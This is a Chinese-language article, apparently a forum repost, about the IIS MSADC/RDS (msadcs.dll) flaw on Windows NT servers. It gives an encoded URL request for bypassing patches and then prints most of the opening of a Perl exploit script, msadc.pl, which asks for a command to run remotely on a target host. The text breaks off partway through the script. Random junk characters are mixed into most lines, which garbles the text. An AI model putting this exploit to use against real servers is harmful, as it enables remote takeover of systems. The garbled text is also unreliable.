IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*vss C98 Ks 涉及程序:
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_I Microsoft NT server
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xfg4 描述:
v=~=Q*\l 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
H9^DlIv(' 2A+I8/zRG 详细:
{cNH| 如果你没有时间读详细内容的话,就删除:
ZL3aO,G2 c:\Program Files\Common Files\System\Msadc\msadcs.dll
:V%XEN) 有关的安全问题就没有了。
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p2 |^ao,3h# 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
.i7bI2^ ^r7-| 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
!lf:x 关于利用ODBC远程漏洞的描述,请参看:
5 E%dF9q |Ki\Q3O1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l1|z;
$_z }wJDHgt]-p 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
SX{6L( http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8qEK6- ydNcbF%K
这里不再论述。
mkCv
f l+>&-lX' 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
?T\m
V} l"\W] 'T:r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\gh`PS-B 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
>?$+hZz< V8z91 SOyE$GoOsx #将下面这段保存为txt文件,然后: "perl -x 文件名"
9M)N2+hkZ sW":~=H #!perl
CL^MIcq? #
4s!rrDN # MSADC/RDS 'usage' (aka exploit) script
ldJ:A*/M6 #
Z7eD+4gD # by rain.forest.puppy
oJF@O:A #
MSmvQ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
X5'QYZ6kv # beta test and find errors!
lg0iNc! rurC! - use Socket; use Getopt::Std;
sLV bFN` getopts("e:vd:h:XR", \%args);
<}c`jN!z. zS*X9|p print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
U$J l5[`F^ BfLh%XC if (!defined $args{h} && !defined $args{R}) {
#'Q_eBX print qq~
)fz)Rrr Usage: msadc.pl -h <host> { -d <delay> -X -v }
G[YbgG=9Y -h <host> = host you want to scan (ip or domain)
Ix,`lFbH -d <seconds> = delay between calls, default 1 second
.[1"Med J -X = dump Index Server path table, if available
yfS`g-j{~ -v = verbose
a G^kL -e = external dictionary file for step 5
%f.(^<Gu T jO}P\p Or a -R will resume a command session
zof>S>5>R7 3S-n sMs. ~; exit;}
}>cQ}6n. +_gPZFpbx $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,z1X{ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
d ,| W if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
xp%,@]p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
sgDlT=c' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
uhUC m if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
j_E$C.XU{g T<\Q4Coth if (!defined $args{R}){ $ret = &has_msadc;
2G8f4vsC[ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
!Y3w]_x[: J7BfH,o print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ij
hC@5qk . "cmd /c ";
DCv~^ $in=<STDIN>; chomp $in;
3&kHAXzM $command="cmd /c " . $in ;
$-m`LF@ 6elmLDMni\ if (defined $args{R}) {&load; exit;}
*5iNw_& ir<HC 'D[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]<mXf~zg
&try_btcustmr;
dm1WC:b tWYKW 3~] print "\nStep 2: Trying to make our own DSN...";
N5 SK_+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
87zsV/ <">tB"="b print "\nStep 3: Trying known DSNs...";
k9`Bi`wp &known_dsn;
q&